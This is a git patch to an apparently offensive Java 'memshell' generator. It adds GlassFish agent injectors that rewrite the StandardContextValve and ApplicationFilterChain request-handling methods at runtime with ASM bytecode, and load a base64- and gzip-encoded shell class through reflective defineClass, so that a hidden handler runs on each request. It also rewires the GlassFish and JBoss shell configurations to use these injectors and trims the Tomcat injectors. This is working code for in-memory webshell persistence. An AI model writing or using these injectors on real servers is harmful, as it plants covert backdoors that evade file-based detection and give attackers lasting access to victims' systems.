From 64c71d6adbc5ddab46b12913c2b077dbc5e0ba4f Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 22 Jun 2025 12:43:30 +0800 Subject: [PATCH] refactor: simplify Tomcat AgentInjector --- .../memshell/server/GlassFishShell.java | 8 +- .../javaweb/memshell/server/JbossShell.java | 6 +- .../injector/apusic/ApusicFilterInjector.java | 3 +- .../injector/bes/BesValveInjector.java | 1 + .../GlassFishContextValveAgentInjector.java | 219 ++++++++++++++++++ .../GlassFishFilterChainAgentInjector.java | 219 ++++++++++++++++++ .../injector/jetty/JettyFilterInjector.java | 7 + .../TomcatContextValveAgentInjector.java | 59 ----- .../TomcatFilterChainAgentInjector.java | 62 ----- 9 files changed, 456 insertions(+), 128 deletions(-) create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java create mode 100644 memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java index 2c1a7494..1bcec16a 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/GlassFishShell.java @@ -1,8 +1,8 @@ package com.reajason.javaweb.memshell.server; +import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector; +import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.glassfish.GlassFishValveInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; -import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatListenerInjector; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; @@ -47,8 +47,8 @@ public class GlassFishShell extends AbstractShell { .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) .addInjector(VALVE, GlassFishValveInjector.class) .addInjector(JAKARTA_VALVE, GlassFishValveInjector.class) - .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class) .build(); } } \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java index ab6b389e..be425c71 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/JbossShell.java @@ -1,5 +1,7 @@ package com.reajason.javaweb.memshell.server; +import com.reajason.javaweb.memshell.injector.glassfish.GlassFishContextValveAgentInjector; +import com.reajason.javaweb.memshell.injector.glassfish.GlassFishFilterChainAgentInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossProxyValveInjector; import com.reajason.javaweb.memshell.injector.jboss.JbossValveInjector; import com.reajason.javaweb.memshell.injector.tomcat.TomcatContextValveAgentInjector; @@ -27,8 +29,8 @@ public class JbossShell extends AbstractShell { .addInjector(FILTER, TomcatFilterInjector.class) .addInjector(VALVE, JbossValveInjector.class) .addInjector(PROXY_VALVE, JbossProxyValveInjector.class) - .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) - .addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class) + .addInjector(AGENT_FILTER_CHAIN, GlassFishFilterChainAgentInjector.class) + .addInjector(CATALINA_AGENT_CONTEXT_VALVE, GlassFishContextValveAgentInjector.class) .build(); } } \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java index a31a7f10..08d58c88 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java @@ -46,7 +46,8 @@ public class ApusicFilterInjector { } /** - * com.apusic.web.container.WebContainer + * context: com.apusic.web.container.WebContainer + * context -> webapp: com.apusic.deploy.runtime.WebModule * /usr/local/ass/lib/apusic.jar */ public List getContext() throws Exception { diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java index ba0fe017..cb532ace 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java @@ -96,6 +96,7 @@ public class BesValveInjector { return; } Class valveClass = context.getClass().getClassLoader().loadClass("com.bes.enterprise.webtier.Valve"); + // com.bes.enterprise.webtier.core.DefaultPipeline invokeMethod(pipeline, "addValve", new Class[]{valveClass}, new Object[]{valve}); } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java new file mode 100644 index 00000000..ba986f21 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishContextValveAgentInjector.java @@ -0,0 +1,219 @@ +package com.reajason.javaweb.memshell.injector.glassfish; + +import org.objectweb.asm.*; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class GlassFishContextValveAgentInjector extends ClassLoader implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/apache/catalina/core/StandardContextValve"; + private static final String TARGET_METHOD_NAME = "invoke"; + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static String getBase64String() { + return "{{base64String}}"; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new GlassFishContextValveAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at org.apache.catalina.core.StandardContextValve.invoke"); + } + } + } + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Throwable e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Throwable e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + try { + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java new file mode 100644 index 00000000..97ba59e1 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterChainAgentInjector.java @@ -0,0 +1,219 @@ +package com.reajason.javaweb.memshell.injector.glassfish; + +import org.objectweb.asm.*; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.lang.instrument.ClassFileTransformer; +import java.lang.instrument.Instrumentation; +import java.security.ProtectionDomain; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2025/3/26 + */ +public class GlassFishFilterChainAgentInjector implements ClassFileTransformer { + private static final String TARGET_CLASS = "org/apache/catalina/core/ApplicationFilterChain"; + private static final String TARGET_METHOD_NAME = "doFilter"; + + public static String getClassName() { + return "{{advisorName}}"; + } + + public static String getBase64String() { + return "{{base64String}}"; + } + + public static void premain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + public static void agentmain(String args, Instrumentation inst) throws Exception { + launch(inst); + } + + private static void launch(Instrumentation inst) throws Exception { + System.out.println("MemShell Agent is starting"); + inst.addTransformer(new GlassFishFilterChainAgentInjector(), true); + for (Class allLoadedClass : inst.getAllLoadedClasses()) { + String name = allLoadedClass.getName(); + if (TARGET_CLASS.replace("/", ".").equals(name)) { + inst.retransformClasses(allLoadedClass); + System.out.println("MemShell Agent is working at org.apache.catalina.core.ApplicationFilterChain.doFilter"); + } + } + } + + @Override + @SuppressWarnings("all") + public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, + ProtectionDomain protectionDomain, byte[] bytes) { + if (TARGET_CLASS.equals(className)) { + defineTargetClass(loader); + try { + ClassReader cr = new ClassReader(bytes); + ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { + @Override + protected ClassLoader getClassLoader() { + return loader; + } + }; + ClassVisitor cv = getClassVisitor(cw); + cr.accept(cv, ClassReader.EXPAND_FRAMES); + return cw.toByteArray(); + } catch (Throwable e) { + e.printStackTrace(); + } + } + return bytes; + } + + @SuppressWarnings("all") + public static ClassVisitor getClassVisitor(ClassVisitor cv) { + return new ClassVisitor(Opcodes.ASM9, cv) { + @Override + public MethodVisitor visitMethod(int access, String name, String descriptor, + String signature, String[] exceptions) { + MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); + if (TARGET_METHOD_NAME.equals(name)) { + try { + Type[] argumentTypes = Type.getArgumentTypes(descriptor); + return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); + } catch (Throwable e) { + e.printStackTrace(); + } + } + return mv; + } + }; + } + + public static class AgentShellMethodVisitor extends MethodVisitor { + private final Type[] argumentTypes; + private final String className; + + public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) { + super(Opcodes.ASM9, mv); + this.argumentTypes = argTypes; + this.className = className; + } + + @Override + public void visitCode() { + loadArgArray(); + Label tryStart = new Label(); + Label tryEnd = new Label(); + Label catchHandler = new Label(); + Label ifConditionFalse = new Label(); + Label skipCatchBlock = new Label(); + mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable"); + + mv.visitLabel(tryStart); + String internalClassName = className.replace('.', '/'); + mv.visitTypeInsn(Opcodes.NEW, internalClassName); + mv.visitInsn(Opcodes.DUP); + mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "", "()V", false); + mv.visitInsn(Opcodes.SWAP); + mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, + "java/lang/Object", + "equals", + "(Ljava/lang/Object;)Z", + false); + mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse); + mv.visitInsn(Opcodes.RETURN); + mv.visitLabel(ifConditionFalse); + mv.visitLabel(tryEnd); + mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock); + mv.visitLabel(catchHandler); + mv.visitInsn(Opcodes.POP); + mv.visitLabel(skipCatchBlock); + } + + public void loadArgArray() { + mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length); + mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); + for (int i = 0; i < argumentTypes.length; i++) { + mv.visitInsn(Opcodes.DUP); + push(i); + mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i)); + mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE)); + } + } + + @SuppressWarnings("all") + public void push(final int value) { + if (value >= -1 && value <= 5) { + mv.visitInsn(Opcodes.ICONST_0 + value); + } else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) { + mv.visitIntInsn(Opcodes.BIPUSH, value); + } else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) { + mv.visitIntInsn(Opcodes.SIPUSH, value); + } else { + mv.visitLdcInsn(new Integer(value)); + } + } + + private int getArgIndex(final int arg) { + int index = 1; + for (int i = 0; i < arg; i++) { + index += argumentTypes[i].getSize(); + } + return index; + } + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } catch (Exception e) { + throw new RuntimeException(e); + } finally { + try { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } catch (Exception ignored) { + } + } + } + + @SuppressWarnings("all") + public void defineTargetClass(ClassLoader loader) { + try { + loader.loadClass(getClassName()); + return; + } catch (ClassNotFoundException ignored) { + } + try { + byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); + java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + defineClass.invoke(loader, classBytecode, 0, classBytecode.length); + } catch (Exception ignored) { + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index 03d914b2..7b64ab6a 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -122,6 +122,13 @@ public class JettyFilterInjector { } } + /** + * org.mortbay.jetty.webapp.WebAppContext + * org.eclipse.jetty.webapp.WebAppContext + * org.eclipse.jetty.ee8.webapp.WebAppContext + * org.eclipse.jetty.ee9.webapp.WebAppContext + * org.eclipse.jetty.ee10.webapp.WebAppContext + */ private List getContext() throws Exception { List contexts = new ArrayList(); Set threads = Thread.getAllStackTraces().keySet(); diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java index ee2a5807..56796278 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java @@ -21,10 +21,6 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas return "{{advisorName}}"; } - public static String getBase64String() { - return "{{base64String}}"; - } - public static void premain(String args, Instrumentation inst) throws Exception { launch(inst); } @@ -50,7 +46,6 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] bytes) { if (TARGET_CLASS.equals(className)) { - defineTargetClass(loader); try { ClassReader cr = new ClassReader(bytes); ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { @@ -162,58 +157,4 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas return index; } } - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } catch (Exception e) { - throw new RuntimeException(e); - } finally { - try { - if (gzipInputStream != null) { - gzipInputStream.close(); - } - out.close(); - } catch (Exception ignored) { - } - } - } - - @SuppressWarnings("all") - public void defineTargetClass(ClassLoader loader) { - try { - loader.loadClass(getClassName()); - return; - } catch (ClassNotFoundException ignored) { - } - try { - byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); - java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - defineClass.invoke(loader, classBytecode, 0, classBytecode.length); - } catch (Exception ignored) { - } - } } diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java index f630faf4..7b1d9549 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java @@ -2,12 +2,9 @@ package com.reajason.javaweb.memshell.injector.tomcat; import org.objectweb.asm.*; -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; import java.lang.instrument.ClassFileTransformer; import java.lang.instrument.Instrumentation; import java.security.ProtectionDomain; -import java.util.zip.GZIPInputStream; /** * @author ReaJason @@ -21,10 +18,6 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer { return "{{advisorName}}"; } - public static String getBase64String() { - return "{{base64String}}"; - } - public static void premain(String args, Instrumentation inst) throws Exception { launch(inst); } @@ -50,7 +43,6 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer { public byte[] transform(final ClassLoader loader, String className, Class classBeingRedefined, ProtectionDomain protectionDomain, byte[] bytes) { if (TARGET_CLASS.equals(className)) { - defineTargetClass(loader); try { ClassReader cr = new ClassReader(bytes); ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) { @@ -162,58 +154,4 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer { return index; } } - - @SuppressWarnings("all") - public static byte[] decodeBase64(String base64Str) throws Exception { - Class decoderClass; - try { - decoderClass = Class.forName("java.util.Base64"); - Object decoder = decoderClass.getMethod("getDecoder").invoke(null); - return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); - } catch (Exception ignored) { - decoderClass = Class.forName("sun.misc.BASE64Decoder"); - return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); - } - } - - @SuppressWarnings("all") - public static byte[] gzipDecompress(byte[] compressedData) { - ByteArrayOutputStream out = new ByteArrayOutputStream(); - GZIPInputStream gzipInputStream = null; - try { - gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); - byte[] buffer = new byte[4096]; - int n; - while ((n = gzipInputStream.read(buffer)) > 0) { - out.write(buffer, 0, n); - } - return out.toByteArray(); - } catch (Exception e) { - throw new RuntimeException(e); - } finally { - try { - if (gzipInputStream != null) { - gzipInputStream.close(); - } - out.close(); - } catch (Exception ignored) { - } - } - } - - @SuppressWarnings("all") - public void defineTargetClass(ClassLoader loader) { - try { - loader.loadClass(getClassName()); - return; - } catch (ClassNotFoundException ignored) { - } - try { - byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String())); - java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - defineClass.invoke(loader, classBytecode, 0, classBytecode.length); - } catch (Exception ignored) { - } - } }